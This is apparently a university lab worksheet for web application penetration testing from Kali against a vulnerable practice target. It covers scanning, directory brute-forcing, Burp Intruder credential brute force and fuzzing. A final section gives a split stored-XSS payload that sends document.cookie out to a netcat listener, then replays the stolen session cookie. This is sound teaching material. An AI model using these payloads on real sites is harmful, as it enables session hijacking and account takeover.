If you can see this check that

Main Page

Web Application Testing

Aim: To investigate Web Application Testing methods, from the Kali platform.

To reset all the check buttons from a previous attempt click here

Question 1: Target 1

Press this button to ready your machine for running the virtual machine targets. If your machine is reset or you reboot then you may have to press this button again.

Note that this target can take perhaps 5 minutes to boot, as it has many processes running many services.

Tests - not attempted
Script ready UNTESTED
Target network UNTESTED

Question 2: Machine Info

Document the details of the Kali Ethernet Interface, eth0. This interface links Kali with the outside world:
IP: Format:
mac: Format: aa:aa:aa:aa:aa:aa
gateway: Format:

Tests - not attempted
eth0 ip UNTESTED
mac address: format 00:ff:11:22:33:44 UNTESTED

The target can take 5 minutes to warm up. Press the test button to see if it is running fully before continuing.

Tests - not attempted
Target 1 network running UNTESTED
Target 1 all services running UNTESTED

Target 1 lies somewhere in - This time use "ip route show" and find out the device name on your machine which would be used to handle packets going to target 1.

Target network device:

Tests - not attempted

What is your machine's IP number on the target network?

Your IP:

Tests - not attempted

Use nmap to sweep the target network, and identify the IP address of target 1.

Target IP:

Tests - not attempted
target ip UNTESTED

Port scan the target, limiting your portscan to only the default Web TCP ports of 80 and 8080. As part of this do an application version scan.

Number of interested ports:
Web Server product?:
Web Server version?:

nmap achieved this by sending additional information to the webserver, rather than just testing what port is open.

Tests - not attempted
Number correct UNTESTED
Product correct UNTESTED
Product version correct UNTESTED

Repeat the above experiment, but in a second window/ssh session capture the traffic being sent to perform the version identification.

To do this use tcpdump. Use numeric capture. Use the interface identified above as being the one which would handle the target's packets. Use ASCII mode (-A) and increase the snap limit to maximum (-s 0). To make it easier to see the traffic of interest, use a pcap filter of "dst ... and port 80" where "..." is the ip of the target.

What was sent by nmap to perform this check?

Tests - not attempted
Technique used UNTESTED

Now manually fingerprint the target on port 80, using netcat or telnet, e.g.

Remember to hit return twice... And in netcat you may have to press CTRL-D at the end to close the connection. The response should indicate the "Server:", which identified the server software, and may also include some information which hints at additional server-side language support, such as Perl, Python, PHP, etc.

What is the "Server" set to (Case sensitive):
Hinted server-side application technology:

Tests - not attempted
Server info UNTESTED
Technology UNTESTED

Repeat the HEAD, but this time use HTTP/1.1. What is the result this time?

Response error code:

Tests - not attempted
Server info UNTESTED

The error was due to HTTP/1.1 requiring a "Host", i.e. a virtual host name in the request. Make up a name, e.g. "unknown" and redo the query.

Using the virtual host field set to "unknown" redo the query and save the output to a file called "/root/vh". Give it a few seconds to work, then press CTRL-D to end the connection.

Tests - not attempted
Server info UNTESTED

Question 3: Enumerate the Web Server

Nikto is an advance web server security scanner. To see the options in Kali just do at the command line:

nikto -Help
Again at the command line, run nikto on the target.
nikto -host TARGETIP
Analyse the results of this scan.

What does nikto suggest about the Apache version?

Tests - not attempted
Apache version UNTESTED

How many vulnerabilities has Nikto returned from the Offensive Security Vulnerability Db (OSVDB)? You must count the same vulnerability multiple times if it is listed more than once.


Tests - not attempted

Research the OSVDB-877 vulnerability. What CERT vulnerability note does this relate to?


Tests - not attempted
VU of the TRACE vulnerability UNTESTED

Consider the information exposed by OSVDB-3233. In terms of the target, examine this file and perform a risk assessment of the contents. You can view it using the VM browser, or making a simple web request with something like lwp-request. From this, what is the exact kernel version running here? (The entry is called "System", and is formatted "2.0.0-0-text").

System value:

Tests - not attempted
System value UNTESTED

Question 4: DirBuster

Use DirBuster to scan target 1. It can be found in
03 - Web Application Analysis > Web Crawlers & Directory Bruteforce > dirbuster
Run this utility.

Initial dirbuster
Figure 1: Dirbuster

Now run dirbuster using the directory-list-small on target 1. You can find that in /usr/share/dirbuster/wordlists.

Directory list small
Figure 2: Location of directory list small

Another issue is that during running, it may ask for regular expressions to identify file not found, as when it tries it the results are inconsistent. This is caused by some directories being managed by scripts, and the scripts are returning some inconsistent cache expiry dates. If this happens to you you should spend time analysing the pages, but for phpmyadmin I used "Cannot load" as the regex and for twiki I used "FILE REMOVED". Probably not great, but enough to get you going.

Even using the small list the scan may take some time. Change the output to the tree view tab. A file in the top level ending .php is found quite quickly. What is the full name of the file?

php file full name in /:

Tests - not attempted
php file UNTESTED

After a few minutes the scanner will uncover a directory called "twiki". In that directory is something which looked like a README file. What is the name of the file including the filename extension.

README file in /twiki/:

Tests - not attempted
README file in /twiki/? UNTESTED

Question 5: Intercepting Proxy: burpsuite

Burpsuite is in 03 - Web Applications Analysis>burpsuite. HOWEVER, you should not run it from there as root.

IMPORTANT. If you want burpsuite rendering to work, DO NOT start burpsuite from the menu if you are logged in as root. Instead, open a terminal and type

    xhost +
    su kali
This will run burpsuite with the user "kali", while enabling you to display the output on your root VNC login. Hopefully this will be fixed in a later release...

Burpsuite Intercept
Figure: Intercepting proxy

In burpsuite, just use a temporary project. Then click through to Proxy and Intercept.

Run a web browser inside your virtual machine, such as Firefox ESR. Set it to use burpsuite as a proxy using the Manual proxy configuration. In Firefox, that it the top-right icon with three horizontal lines, then Preferences, then all the way to the bottom of the page to Network Settings. Use a Manual proxy configuration of an HTTP Proxy, using port 8080 on Now visit

When you try to go to the target, it hangs until in Burp Suide you select Proxy, and click FORWARD. Once you do that the response is given back to the browser, and the Target tab site map is filled in a little more. It then starts to learn about the site.

Using the HTTP History sub-tab, what is the "Host" set to in the "GET /" request.
Host in GET request:

Tests - not attempted

In your browser log into DVWA. Use the username "admin" and the password "password". As you are still intercepting be prepared to switch back and forth between burpsuite and the browser to FORWARD the intercepted requests. Click on DVWA Security and set the script security to low. Once complete, click on Brute Force in the DVWA menu.

Not insert some fake login information into the Brute Force login screen, such as username "right" password "wrong". Click login. This login attempt should fail, but Burp Suite will have captured the attempt.

Switch to Burp Suite. In the Site map find dvwa/vulnerabilities/brute. There should be a few entries. Click on each one until you find the one which includes the username and password you used in the GET line (it is also the one with a "tick" in the Params column). Right click in the Raw box (i.e. the one with the HTTP request) and select Send to Intruder.

Switch to the Intruder tab. In this use the Positions tab. The package tries to select the fields of interest, but this time we only need the username and password. Click Clear on the right, then one at a time select the username and password you used in your attempt, clicking on Add each time (e.g. the bit after username= and password=). Change the Attack type to Cluster bomb.

Now select Payloads. Payload set should be 1 and you need the Simple list. This list is the ones for the first field you selected (the username). Payload set 2 is for the possible passwords. Try adding usernames from the following list:

Add passwords from the following list:
You are ready to go. In the top right of the subwindow, click Start Attack.

This attack only has 20 combinations. Scroll down the list of items and focus on the Length. If one page is a different length from all the others, then this might indicate that this attempt reached a different page from all the rest. Find that attempt. Click on it and view the Response ideally in Render mode (available if you did not run it as root), or otherwise read the HTML in pretty mode. Look for "Welcome to the password protected area...".

What was the successful login attempt here?

Tests - not attempted
Username correct UNTESTED
Password correct UNTESTED

Now lets investigate the mutillidae link briefly and demonstrate a little fuzzing.

Switch burp suide intercept on, and with the browser visit
Forward all the requests.

This part of the site map is controlled by the page variable in the get request. Using a spidering technique it is possible to discover some such links, but it is possible that some links are secret and not in the normal navigation tree. We can try "fuzzing" a few options and see what turns up...

Refresh the page in the browser, but rather than forwarding the request, right click and send the page to Intruder. Clear the selection in Positions and select only the page= value excluding the ".php", i.e. in this case select only "home", and click Add. Stick with the Sniper attack type.

In Payloads, add a simple list of possible guesses for secret pages. Here are some suggestions:

Once done, Start Attack.

Once the attack is complete, make sure you can see the whole of the Intruder attack window, and select each line while in the bottom half look at the Render in the Response tab. Length indications may also give you a clue as to which requests were successful.

Which three parameters of the suggested list resulted in discovered pages?
Length information suggests success in this case by:

Tests - not attempted
suggestion 1 found UNTESTED
suggestion 2 found UNTESTED
suggestion 3 found UNTESTED
reasoning sound UNTESTED

Question 6: Intercepting Proxy: Zap

In this question, we are going to explore ZED Attack Proxy (ZAP). ZAP is in Applications>3. Web Applications Analysis>ZAP.

ZAP is used as a proxy in a similar way to burpsuite, but supports some automatic spidering of websites. It by default uses port 8080 as the proxy port, which is the same as burpsuite. Make sure you close down burpsuite before starting ZAP. In your browser, visit and make sure you are logged out of DVWA.

Your web browser needs to be configured to use the proxy details of ZAP, so redirect the networking of the browser as before to use and port 8080 as a proxy. When setting the proxy for the web browser, check https as well. otherwise, it may not work.

Visit with your browser. In the browser, you might get a security risk prompt curtesy of https, accept the risk and carry on. If you go back to ZAP, you will find the site tree is populated with dvwa. Try selecting "dvwa" and right click selecting Attack>Spider from this branch. Accept the defaults and start scan. If you were logged out of dvwa, the scan will finish fast. it should have spidered far enough to see /dvwa/login.php

What does the site map say about the "Pragma:" part of the Response of dvwa/login.php? This is to be found in the response headers part of the response.
login.php pragma value:

Tests - not attempted
Correct pragma for login.php UNTESTED

Now we will use ZAP with mutillidae. Go to ZAP File>New Session to clear the dashboard and start a new session.

Back to the browser, visit You will now see the site map on ZAP populated with mutillidae. Right click on the mutillidae directory in the site map and choose Attack>Force Browse Directory (and Children). This opens a tab at the bottom. At the top of the tab you have two parameters to configure: Site (leave as is by default) and List (click on the drop-down menu and select 'directory-list-1.0.txt'). Then, you can click the play button next to it and the scan starts.

ZAP attempts to directly access all the files and directories listed in the selected file directly rather than relying on finding links to them. This functionality is based on code from the now retired OWASP DirBuster project. The scan takes a long while to finish. However, quite early, you can see the mutillidae folder in the site map populated with interesting sub directories and files.

Here we are interested in a directory called "passwords". Remember it may take a few minutes to produce the information you need. This directory has a ".txt" file containing information about users. Each user information is contained in its own line, and each line contains the username, password, and a comment, separated by a comma.

What is the password for the user "ed"?

Tests - not attempted
Correct password for ed UNTESTED

Question 7: XSS and session hijacking

Disable the browser proxy and finish using burpsuite. If you are returning to this after a reboot, make sure DVWA security is set to low.

In DVWA, visit the "XSS stored" page. Again you should be logged in as admin. Enter a message from "jim", but in the description enter javascript.

This is a persistent server side XSS injection, as every time you visit this "XSS stored" page you get the popup.

Tests - not attempted
Alert(watched) is in a message UNTESTED

Clear this message by using Setup in dvwa and clicking Create/Reset database.

Logout of admin, and log in with username 1337 and password charley. Again go to the XSS stored button. Now we really want to try and get "1337"'s cookie to be sent to one of our servers. But it is tricky! Ideally we want to do: Create a message from Jim, but this time make the message:

<script>new Image().src=""+document.cookie;</script>
Unfortunately the message box is only 50 characters long. So we need to split it into multiple messages...

Message 1:
<script>var h="";</script>

Message 2:

Message 3:

Message 4:
<script>new Image().src=h;</script>

Now when you visit this page it will request an image from our webserver, but include the current session cookie as a GET parameter. We will use netcat to be the webserver.

nc -l 80 > /root/xss
No point in hacking our own user "1337"... Log out and log in as admin with password "password". Visit the XSS stored page while running the netcat statement above. Now "cat" that file and you should see the cookie in the first line as a PHPSESSID= cookie. Note that once the XSS page has refreshed you can press CTRL C and terminate the netcat session. Otherwise is takes at least 10 seconds to timeout.

Tests - not attempted
/root/xss contains a cookie UNTESTED
/root/xss contains a valid cookie for admin UNTESTED

This session cookie is only good enough until the session has ended for some reason, for instance by logging out. To demonstrate this, and while still logged in as "admin", click on the world icon in the browser address line, click the broken padlock, Clear cookies and site data, then remove. Refresh the page and you should be back to the login page.

Now view your /root/xss file, and get the bit of the request which starts PHPSESSID=.... (up to the space). Now in firefox, in the top right menu select Web Developer>Web Console. This allows you to run your own javascript... Take the PHPSESSID string and substitute it into the following instead of "abcde1234etc". If you are building this using cut and paste, you need to enter "allow pasting" first. This is all typed into the prompt of the console:

document.cookie = 'PHPSESSID=abcde1234etc; expires=3600; path=/; domain=';

Javascript console
Figure: Javascript console setting of the cookie

Now revisit and you are now admin again. OK so not easy but with the right tools...

Tests - not attempted
/root/xss still contains a valid cookie for admin session UNTESTED

Centos 7 intro: Paths | BasicShell | Search
Linux tutorials: intro1 intro2 wildcard permission pipe vi essential admin net SELinux1 SELinux2 fwall DNS diag Apache1 Apache2 log Mail
Caine 10.0: Essentials | Basic | Search | Acquisition | SysIntro | grep | MBR | GPT | FAT | NTFS | FRMeta | FRTools | Browser | Mock Exam |
CPD: Cygwin | Paths | Files and head/tail | Find and regex | Sort | Log Analysis
Kali: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7a | 8a | 8b | 9 | 10 |
Kali 2020-4: 1a | 1b | 1c | 2 | 3 | 4a | 4b | 5 | 6 | 7 | 8a | 8b | 9 | 10 |
Useful: Quiz | Forums | Privacy Policy | Terms and Conditions

Linuxzoo created by Gordon Russell.
@ Copyright 2004-2024 Edinburgh Napier University